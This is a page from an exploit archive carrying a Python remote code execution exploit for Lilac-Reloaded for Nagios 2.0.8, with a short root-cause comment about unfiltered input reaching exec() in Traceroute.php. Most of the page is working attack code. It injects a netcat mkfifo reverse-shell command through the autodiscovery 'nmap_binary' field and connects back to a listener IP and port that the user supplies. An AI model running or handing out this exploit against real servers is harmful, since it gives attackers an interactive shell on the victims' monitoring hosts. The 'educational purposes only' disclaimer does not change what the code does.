Lilacreloaded for nagios 2.0.8 remote code execution (rce) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-04-20 | Type : webapps | Platform : php
This exploit / vulnerability Lilacreloaded for nagios 2.0.8 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

#!/usr/bin/env python

"""
# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2023-04-13
# Exploit Author: max / Zoltan Padanyi
# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit
# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download
# Version: 2.0.8
# Tested on: Debian 7.6
# CVE : N/A

The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;

Use at your own risk!

RCA - wild exec is ongoing without any filtering

in library/Net/Traceroute.php

181 function _setTraceroutePath($sysname)
182 {
183 $status = '';
184 $output = array();
185 $traceroute_path = '';
186
187 if ("windows" == $sysname) {
188 return "tracert";
189 } else {
190 $traceroute_path = exec("which traceroute", $output, $status);
[...]
257 function traceroute($host)
258 {
259
260 $argList = $this->_createArgList();
261 $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];
262 exec($cmd, $this->_result);


"""

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)
parser.add_argument("-i", "--ip", help="Listener IP", required=True)
parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)
args = parser.parse_args()

rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"

body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}

try:
r = requests.get(args.url)
if r.ok:
print("[+] URL looks good...moving forward...")
print("[+] Sending exploit in...")
r = requests.post(args.url,data=body)
if r.ok:
print("[+] Got HTTP 200, check your listener!")
else:
print("[-] Some kind of error happened, check the http response below!")
print(r.text)
except Exception as e:
print("General exception: " + str(e))